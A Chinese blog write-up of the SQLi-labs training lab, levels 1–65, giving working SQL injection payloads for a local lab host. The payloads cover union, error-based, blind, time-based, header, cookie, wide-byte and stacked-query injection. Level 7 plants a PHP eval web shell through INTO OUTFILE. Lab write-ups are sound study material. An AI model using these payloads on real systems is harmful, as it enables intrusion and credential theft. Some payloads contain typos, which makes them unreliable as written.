sql注入漏洞解析


SQL-lab

sql注入全部解析

1. 单引号字符型注入

    1. 先看题,要求输入一个数字
  • 入乡随俗,试一试

image

很显然,会有回显

  • 接下来自由发挥,再输入一个2试试,又变了

image

  • 接下来,接下来试一试他的闭合方式

image

添加完单引号,根据报错的回显,发现他是单引号闭合方式,并且是字符型注入

  • 再看一下有几列,看看有哪几列可以回显

image

在这里我输入了六列进行联合查询,但是显示没有六列,那么就截一半

image

根据回显,我们发现,第二列和第三列是可以回显的

现在我们就可以查到我们想要的内容

  • 查询数据库版本和库名称
-1' union select 1,version,database() --+//要让前边为错“-1”,不让数据库执行前边的语句

image

  • 查询表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+//group_concat,查询显示所有结果

image

  • 查询列名
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=database() and table_name='users' --+

image

  • 查询字段名
    -1' union select 1,2,group_concat(password) from security.users --+

image

第一关结束!!!

2. 数字型注入

  • 查看下注入方式

image

很显然1没有被显示出来,那么就是数字型注入那么不需要再数字的后面加上任何字符

  • 看下回显位

image

  • 查库
    -1 union select 1,2,database() --+

image

从这里发现,之后的阶段和第一题几乎一样,除了1后面的‘。。。

不再赘述,下一题,

3.报错注入

  • 查看注入方式

  • image

在这里,可以看到,过滤的很严,看不出来是哪种方式闭合,但是可以发现,只有在输入‘的时候会报错,因此猜想是单引号的字符型注入

然而当我再输入的时候查看回显位的时候,这才发现了他的闭合方式,原来是‘)

-1') union select 1,2,3 --+

image

好了,现在知道闭合方式,那么继续查看回显

image

剩下的步骤还是和第一关一样,只不过是把1‘换成1’)

image

给个证明,不多做了

这一关过!!!!

4.”字符型注入

  • 查看注入方式,输入1‘不行,1“报错

image

根据报错显示这道题的闭合方式应该是“)

  • 查询回显位
    -1") union select 1,2,3 --+//前面一定要是错的

image

  • 查库
    -1") union select 1,2,database() --+

image

显然和第一关一样,不再赘述,过

5. 报错注入

  • 在这里,继续查看他的闭合方式以及注入类型
-1' union select 1,2,3 --+

image

通过报错发现,他的闭合方式是‘而且是字符型注入

  • 查看他有没有回显
    -1' union select 1,2,3 --+

image

完了,没有回显了,那么我们就想到报错注入

-1' union select 1,2,3,4 --+

image

很显然他是会返回错误信息的

因此套用报错注入的公式

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

image

  • 查表:

    ?id=-1'union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+//同时带有随机性

    image

  • 查列:

    ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+

    image

  • 查字段:

    ?id=-1' union select count(*),1, concat('~',(select password from security.users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+

image

建议:背下公式,concat里面的内容是要修改的查询语句//存在一定的概率问题,当出现YOU are in。。。时,多试几次

6. “报错注入

看到这就感觉和第五题应该差不多

  • 查看他的闭合方式
    ?id=1') and 1=2 --+ //1=1时不会报错,1=2时报错
    image

可以看出他的闭合方式是双引号

  • 其实在这里之前我先输如的是‘和” 发现’的时候会返回Yuo are in。。。“的时候发现没有回显,就可以知道他的闭合方式是”“

  • 查库:

    ?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    image

很显然这道题和第五题一样,不再赘述!!

7. 文件输出

一开始有些无脑,直接试了?ID=1

image

很显然这里是要导出文件

测试他的闭合方式

image

再加上一个‘)就可以了

image

所以,闭合方式是‘))

  • 直接写入
    ?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\q.php" --+
    注意是否有写入文件的权限

之后用菜刀等链接

8.布尔单引号盲注

  • 经判断,没有回显

  • 查看闭合方式

    ?id=1' and 1=1 --+

    image

确定是‘的闭合方式

  • 判断是不是报错注入

    ?id=1' union select 1,2,3,4 --+
  • 很显然不是,而是bool盲注,只显示两种情况

因此,就用猜测的方法

?id=1' and substr(database(),1,1)='s' --+

image

这里可以借助bp,进行爆破

还可以手工
类似于:

这样:

image

先猜出database()的长度

再利用ascii码一个一个去猜,一般是利用bp爆破,也可以直接爆破

  • 查库

image

设置爆破词典

image

image

直接可以爆破出来

image

由此可知,库名是security

  • 查表:
    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
    image

介绍一种方法:
利用bp,进行一字母一个字母爆破

image

  • 查字段
    ?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='p' --+
    自己手动改变第一个1和第3个1,让bp去爆破字母

image

剩下的同理。。。过!!!

9.延时注入

  • 查看其闭合方式

image

  • 发现无论输入什么,就只有那一句话,这就说明,没有回显,没有报错,不能布尔盲注

那么就只能,利用一下,绝招(绝境用的招数),延时注入

?id=1' and sleep(5) --+

image

还真睡了5秒

就这样,通过判断真假来让其睡眠

  • 查库

判断库的长度

?id=1 and if(length(database())>5,sleep(3),1) --+

image

之后在尝试找到8,利用bp也可以爆破

之后再构造left语句,查询每一位

?id=1' and if(left(database(),8)-'ssss',sleep(3),1)

只要时间够,利用bp是完全可以爆下来的

  • 查表
?id=1' and if(left((select table_name from information_schema.tables where table_schame='sequrity' limit 1,1),1)='s', sleep(3), 1) --+
  • 查列
?id=1' and if(left((select column_name from information_schema.columns where table_naem='users' limit 1,1),1)='a',sleep(3),1) --+

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+//最终结果
  • 查字段
?id=1' and if(left((select password from security.users limit 1,1),1)='p',sleep(3),1) --+

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+//最后结果

由于每次都要手动换好几个数,可以利用sqlmap。。

10. 和9题类似,只有 单双引号的区别,不再赘述。。。

image

只有这种情况下睡眠3秒,因此猜测闭合方式是“。。

11. POST类型的注入

探水:

image

抓包来看一下

image

这里之前输入了好多种情况,只有‘才会报错,那么估计闭合方式是‘,再看一下有没有回显

  • 查看回显
    uname=-admin' union select 1,2#&passwd=admin&submit=Submit

本来之前以为和前十一样,没想到。。。只有两列

说明有回显

  • 查库

    uname=-admin' union select database(),2#&passwd=admin&submit=Submit
  • 查表

    uname=-admin' union select 1,table_name from information_shema.tabes where table_schema=security #&passwd=admin&submit=Submit

image

  • 查列

    uname=-admin' union select database(),group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit

    image

  • 查字段

uname=-admin' union select database(),group_concat(password) from security.users #&passwd=admin&submit=Submit

image

过了

12. POST双引号注入

根据之前的经验直接进行抓包

  • 看看有没有报错

image

有报错,也许可以进行报错注入

  • 查看闭合方式

image

是“)的闭合方式

  • 试一试能不能联合查询

image

很显然,有回显,那么和上一题几乎一样

接下来试一下updatexml爆错注入

  • 查库
uname=-admin") and updatexml(1,concat('^',(select database()),'^'),1)#&passwd=1&submit=Submi

image

  • 查询所有库
    uname=-admin") and updatexml(1,concat('^',(select group_concat(database()) from information_schema.schemata),'^'),1)#&passwd=1&submit=Submi

  • 查表

    uname=-admin") and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1)#&passwd=1&submit=Submi

    image

  • 查列

uname=-admin") and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^'),1)#&passwd=1&submit=Submi

image

注意这里没有全部显示出来,那么就用limit

uname=-admin") and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 4,1),'^'),1)#&passwd=1&submit=Submi

因此,在这里发生了一点小插曲

image

  • 查字段
uname=-admin") and updatexml(1,concat('^',(select group_concat(username,'~',password) from security.users),'^'),1)#&passwd=1&submit=Submi

这里仍然是查询不完整,再用上面的方法就好了

这一关也过了。。。

13. 单引号变形报错注入

  • 代理抓包,送到repeater模块

  • 看一下闭合方式

    admin'//能看处什么方式闭合就行
  • 根据报错,试一下报错注入
    uname=admin') and updatexml(1,concat('^',(select database()),'^'),1)#&passwd=&submit=Submit
    image

注入成功

  • 试一下能不能联合注入

image

很显然不能,那么,就直接用报错注入就好,和12题类似

14. POST型bool盲注

  • 猜测闭合方式
    admin" and 1=1 #
    image

从这里可以知道“为闭合方式

  • 又因为无论输入什么都不会显示,那么只有延时注入,让他睡几秒

  • 查库

image

在这里,进行延时注入的时候发现他报错,有可能存在报错注入

延时注入可以爆破,

uname=admin" and updatexml(1,concat('^',(select database()),'^'),1) #&passwd=&submit=Submit 

image

报错注入也可以

下面的就是换语句进行报错注入了,这一关,就先过了

15. 延时注入

  • 尝试了,很多方式,没有回显,没有报错

只能用绝招(绝境用的招数),延时注入,让他睡!!!

首先说一下,实在比较麻烦,最好用工具爆破,sqlmap更好

  • 查看闭合方式:

image

只有在__‘的情况下,才会睡觉,呢么闭合方式就是__’

  • 查库
uname=admin' and if(substr(database(),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit//使用substr函数,利用bp爆破

image

  • 查表
    uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit//这里我用的bp爆破,标记点也已经给出,但是只能爆出第一个,需要我们手动改一下limit,后面的那个值

image

下面这个就查到了user表!!!

image

  • 查列
    uname=admin' and if(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit
    查到user列

image

查到password列

image

利用substr函数切割进行查询,还是很快的

  • 查字段
    uname=admin' and if(substr((select password from security.users limit 4,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit
    image

16. 双引号延时注入

现在本页面看看,是什么样的类型注入,以及他的闭合方式,发现啥也不显示。。。。。。

完犊子了,又是延时,吐了,看一下,闭合方式吧

差点没试出来

admin") and if(1=1,sleep(3),1) #

image

剩下的就是类似15题吧

17. 基于错误的更新查询

这种情况,一下子给我整懵了,最后就参考别人博客写了一下

https://blog.csdn.net/qq_41420747/article/details/81836327

那么就针对password搞一下吧

  • 查找闭合方式

image

  • 由于报错,那么执行一下报错注入吧

  • 查库

    uname=admin&passwd=admin' and updatexml(1,concat('^',database(),'^'),1) #&submit=Submit

image

额。。。说实话这道题kennel是我的原因,报出来的全是admin,还是看上面的博客吧

18. 用户代理头部注入

image

看见这样的界面,看见ip,直接抓包

额。。。

看下源代码吧

image

用户名和密码都做了检查,但是他除了ip还接受了user-agent

image

查询语句中存在uagent,那么考虑再user-gent中注入

  • 查库:
    User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '//下面千万要把账号密码带上,不然程序走的是另一条路线
    image

接下来就是🧐构造语句了

19. refer头注入

和18题类似,过。。。

20. cookie注入

输入正确的用户名密码后,看到如下界面

image

那么就想到cookie了,抓包看一下

image

  • 查看闭合方式

image

  • 看下有没有回显

image

有回显

  • 查库

image

可以注入

接下来就是在回显的位置构造sql语句了,不再赘述

21. 复杂的字符型注入

继续抓包看一下,发的是啥

image

一开始以为啥也没有,放了几个包后,发现那个玩意。。。。
意味深长。。。试一下

当然首先是要解密 %3D是=,猜想是base64
image

nice

在加密那里构造语句,加密后放进cookie里面

  • 查看闭合方式

image

  • 查看有没有回显
-admin') union select 1,2,3 #//利用#来注释

编译后的密文

image

可以查到回显位

image

接下来,根据那条语句,构造sql语句就可以了,再把语句构造成base64密文,复制到cookie那里

22. 基于错误的双引号注入

继续抓包看一下

image

还是cookie注入

  • 查看闭合方式
    -admin"
    image

根据报错说明是“”
image

  • 查看有没有回显

    -admin" union select 1,2,3 #

    image

  • 查库

    -admin" union select 1,2,database() #//加密

    image

  • 查表

    -admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

image

image

剩下的就类似之前的语句

23. 过滤掉注释

  • 看一下闭合方式
    ?id=admin'

image

显然是‘闭合

  • 看下有没有回显
    ?id=admin' union select 1,2,3 --+
    image

没有

  • 看下会不会报错
?id=1' and 1=1 --+

image

看到这里,发现报错就没变过,而且根据报错也能猜到,估计是把注释给过滤掉了。。。

那么就有自己来造闭合语句‘’

  • 查库
    ?id='union select 1,2,3'
    ?id='union select 1,2,databae()'
    
    ?id= ' union select 1,2,group_concat(database()) from information_schema.schemata where 1 or '1'= '
    image

全部的数据库

image

  • 查表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '

image

  • 查列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '

image

  • 查字段
?id='union select 1,group_concat(username),group_concat(password) from security.users where 1 or '1'= '//把句子结构补全不然不让过

image

过。。。。

24. 出了点问题先跳过

25. AND和or被绕过

  • 看一下闭合方式

显然是‘闭合

  • 看下有没有回显
    ?id=-1' union select 1,2,3 --+

image

还是有回显的

  • 查库
?id=-1' union select 1,2,database() --+

image

  • 查表
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
    ?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+

image

看这就出毛病了

but,双写一下就好了啊

image

加个group_concat完美些

image

同样,构建password的时候也要写成passwoorrd

这里就不介绍了。。。

26. 过滤一堆的注入

  • 查询闭合方式
    ?id=1' and 1=1 --+
    image

显然是‘闭合

  • 查看又没有回显

image

没有回显,根据提示也能知道

  • 看看有没有报错
id=1' anandd 1=2 -- 

image

好家伙不仅没有报错,还把and和or过滤了

image

实在看不出来了,来代码审计吧

image

好家伙,用了正则,过滤了这么多 or,and ,#,–,/*,/都没了,这里为什么要过滤/*,,,这家伙是多行注释,常用/**/来代替空格

%a0 空格

%09 tab

还有其他方式

?id=1'%09||'1

image

  • 查看闭合方式

由于输入什么都不显示,延时都不行,此案过。。。

27. 过滤union和select的注入

  • 查看闭合方式
    ?id=1'
    image

单引号闭合

  • 查看是否有回显(不能用union)

代码审计,看下他过滤掉了哪些

image

又是一堆正则。。。。。。

  • 查看回显
    ?id=0'%0AUNion%0ASeleCt%0A1,2,3%0Aor%0A'1'= '//最好别用hackbar,会出现问题的
    image

剩下的就类似这样直接查。。。

26,27,28..都是过滤union,select可i用大小写绕过,空格用%a0补充

29. waf保护

  • 看看有没有回显
?id=-1' union select 1,2,3 --+

image

有回显,查库

?id=-1' union select 1,2,database() --+

image

  • 查表

image

  • 查列

image

  • 查字段

image

想了解waf可以去专门了解一下

30. get——blind waf

image

果然和上一题一样有点水

  • 查表

image

  • 查字段

image

好家伙这里就不行了,看样子并不是很水

?id=1&id=-1" union select 1,2,group_concat(password) from security.users --+

image

31. waf

  • 看一下闭合方式

image

  • 查看有没有回显

image

可以根据回显看处数据库

  • 查看数据表

image

  • 查看字段

image

  • 查询字段内容

image

32. 宽字节注入

将/进行url转码,再配合另一个比如%ee合在一起转换成gbk字符,把/吃掉

  • 查看是否有回显
?id=-1%ee' union select 1,2,3 --+

image

  • 查库
?id=-1%ee' union select 1,2,3 --+

image

剩下的基本上就没什么问题了

  • 查列,这时候的users需要改变一下
?id=-1%ee' union select 1,2,column_name from information_schcema.columns where table_name='users' --+//不行
?id=-1%ee' union select 1,2,column_name from information_schcema.columns where table_name=0x7573657273 --+//对user进行十六进制编码,此时的‘’可以用0x代替

image

剩下就没啥了。。。过

33.宽字节注入

仍然是刚才查列的句子,直接爆出来了。。

image

估计和上一题一样

34. POST型宽字节注入

这样的做法,已经比较熟悉了,看见表单抓包构建payload。。

  • 查看有没有回显,显没有进行查看闭合方式,因为如果闭合方式不对的话,是会报错的

    admin%ee' union select 1,2 #

    image

  • 查库

    uname=admin%ee' union select 1,database() #&passwd=admin&submit=Submit

    image

  • 查表

    uname=admin%ee' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit

    image

  • 查字段

    uname=admin%ee' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit

    image

直接报错,根据错误也知道发生了啥

uname=admin%ee' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin&submit=Submit

image

这样就和谐了。。。

过了,不说了。。。

35. 为什么要有。。。

image

看这个报错,你会发现,啊这,他好像没有闭合方式呀!!!

  • 查看否是否有回显

image

很显然,这道题还是比较简单的,过了过了。。。

36.

  • 查看有没有回显

image

  • 查库

image

  • 查表

image

  • 查字段

image

  • 查字段内容

image

这道题。。。。不透。。。

重点在这里,但是这个函数对我们来说没有啥用

函数说明

https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

37.POST型宽字节注入

抓包改admin,和36一样,只不过是换了一个注入的位置

image

过了

38. Future Edition(堆叠查询)

image

看了一下,可以让我们进行堆叠查询

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句

image

还是很容易就可以查到的

image

最后可以让用户名和密码一起查询

http://192.168.220.12/sqli/Less-38/?id=-1'%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+

image

39. STACK Query

  • 查看闭合方式

image

  • 很显然是数字型注入,没有闭合方式
    http://192.168.220.12/sqli/Less-39/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20 --+//用户名和密码一起爆
    直接显示所有数据

image

40.堆叠

image

闭合方式是‘),注入方式同上

41. STACK QUERy 盲注

但还是有回显

http://192.168.220.12/sqli/Less-40/?id=-1%27)%20union%20select%201,2,3%20--+//猜闭合方式就可以了
  • 猜测闭合方式

image

一通乱猜,啥也没有,

就干脆认为是数字型注入,果然是

image

剩下的就几乎一样了。。。

过了。。。

42. POSt型基于错误的字符型注入

  • 看见表单,先抓包看一下

发现账号什么的都不行,那么就想到密码了呗

  • 闭合方式

image

  • 看一下有没有回显

image

  • 看下报错注入

image

nice,可以啊

  • 查表

image

  • 查列

image

。。。。之后就不做了

43. POST基于错误的二次堆叠注入

  • 查看闭合方式

image

‘)的闭合方式

  • 报错注入

image

报错注入也不行

走偏了,,这个就是最直接加个分号后面再构造一条sql语句

image

image

44. 同理过了,,,

45. 同理

1');insert into users(id,username,password) values(45,'Less45','Less45')#

image

image

46. 数字型order by注入

检查是否存在order by注入

image

?sort = 1+asc
?sort = 1+desc

asc

image

desc

image

说明存在order by注入

  • 报错注入

image

47. 字符型order by注入

  • 加了单引号的updatxml仍然可以注入

image

48. 数字型order by盲注

  1. 检查是否存在order by注入

image

存在
2. 查看是否有回显

image

没有

  1. 试一下报错注入

image

同样不行

  1. 绝招,延时注入
    ?sort=1 and if(substr(database(),1,1)='s',sleep(5),1)--+

image

这就比较和谐了,之后利用bp爆破吧,和之前类似,设置两个参数,修改一个参数。。

49. 字符型盲注

  • 猜测闭合方式

image

只要带单引号的包括‘,’),均不会正常显示,那么几乎可以确定是‘闭合方式了

  • 看下有没有回显

还是没有回显

  • 直接延时吧

50. 数字型,堆叠order by注入

  • image

存在order by注入

  • 查看有没有回显

image

说明可能存在报错注入

  • 尝试报错注入

好吧,还是不行

*延时注入

http://192.168.220.12/sqli/Less-50/?sort=1%20and%20length(database())=8%20and%20if(1=1,sleep(1),1)//多个and,有一个不满组都不行

image

好吧还是延时注入

接下来,就延时爆破吧

51. 字符型,堆叠,orderby注入

  • 查看闭合方式

image

很显然是‘的闭合方式

  • 查看有没有回显

image

  • 直接延时注入吧
    ?sort=1' and length(database())=8 and if(1=1,sleep(2),1) or '1'='1
    同样的套路

image

52.,52,53全部与上面类似

54. 限制次数的查询

  • 查看闭合方式

image

有回显

查库,

?id=0' union select 1,2,database() --+

得到challenges库

查表

?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+

image

查段

0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='5gp3nwnqh6' --+

image

  • 查字段内容
    ?id=0%27%20union%20select%201,2,sessid%20from%20challenges.5gp3nwnqh6%20--+

image

55. 基于小括号的挑战

那啥这道题试上几十次就可以了,发现是)闭合

  • 查字段内容
?id=0)%20union%20select%201,2,sessid%20from%20challenges.5gp3nwnqh6%20--+

image

然后就随便了。。。

56. ‘)挑战

  • 寻找闭合方式看看有没有回显
    ?id=1') --+
    image
?id=0') union select 1,2,3 --+

image

过了。。。

57. 基于“”的挑战

  • 找寻闭合方式

尝试了几次,发现‘,’),”都可以,但是,“)不行

image

说明,闭合方式就有可能是”,

  • 看下有没有回显

image

找到了,就是双引号,而且还有回显。。。

查库

image

就直接过了

58. 不能用union select

  • 猜测闭合方式
http://192.168.220.12/sqli/Less-58/index.php?id=1%27%20%20--+

image

‘’的闭合方式

  • 查看有没有回显

image

没有回显

  • 查看会不会报错
http://192.168.220.12/sqli/Less-58/index.php?id=0%27%20and%20updatexml(1,concat(%27~%27,(select%20database()),%27~%27),1)%20--+

image

利用报错逐个查询吧

59. 数字型报错挑战

  • 猜测闭合方式

image

很显然没有

image

之后就。。。

60. “)闭合方式的挑战

  • 查看闭合方式

image

  • 直接看一下能不能报错注入

image

又是一道改变闭合方式的题

61. ‘))的闭合方式

  • 查看闭合方式

image

  • 看一下能不能报错注入

image

  • 报表

image

  • 报列
http://192.168.220.12/sqli/Less-61/?id=1%27))%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27vhe0p7yp4g%27),%27~%27),1)%20--+

image

  • 报字段
http://192.168.220.12/sqli/Less-61/?id=1%27))%20and%20updatexml(1,concat(%27~%27,(select%20sessid%20from%20challenges.vhe0p7yp4g),%27~%27),1)%20--+

image

改一下,表名就好了。。

62. union select 和 报错都不行的挑战

  • 查看闭合方式

image

‘)的闭合方式

  • 看一下有没有回显

image

没有回显

  • 查看能不能报错注入

image

好家伙,报错也不行

  • bool盲注也没有区分,

image

*没办法,,让他睡觉吧

  • 延时注入
    http://192.168.220.12/sqli/Less-62/?id=1%27)%20and%20length(database())%3E5%20and%20if(1=1,sleep(2),1)%20--+

image

那么就开是愉快的爆破吧

  • 查库
    http://192.168.220.12/sqli/Less-62/?id=1%27)%20and%20substr(database(),1,1)=%27c%27%20and%20if(1=1,sleep(2),1)%20--+//就挑时间长的

image

  • 查表
192.168.220.12/sqli/Less-62/?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c' and if(1=1,sleep(2),1) --+

image

由于次数的限制只能报出一部分,多试几次吧

。。。

63. ‘’挑战

闭合方式是’’

直接延时吧

http://192.168.220.12/sqli/Less-63/index.php?id=1%27%20and%20substr(database(),1,1)=%27c%27%20and%20if(1=1,sleep(3),1)%20--+

image

64. ))方式

  • 闭合方式没猜到,

image

好损啊,

  • 同样存在延时注入

image

65. )的闭合方式

  • 猜测闭合方式

image

)的闭合方式

  • 看看能不能延时注入

千万注意这个小坑,虽然没啥影响,但也是人家的一种思路

image

可以延时了。。。

image

OK!!!


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录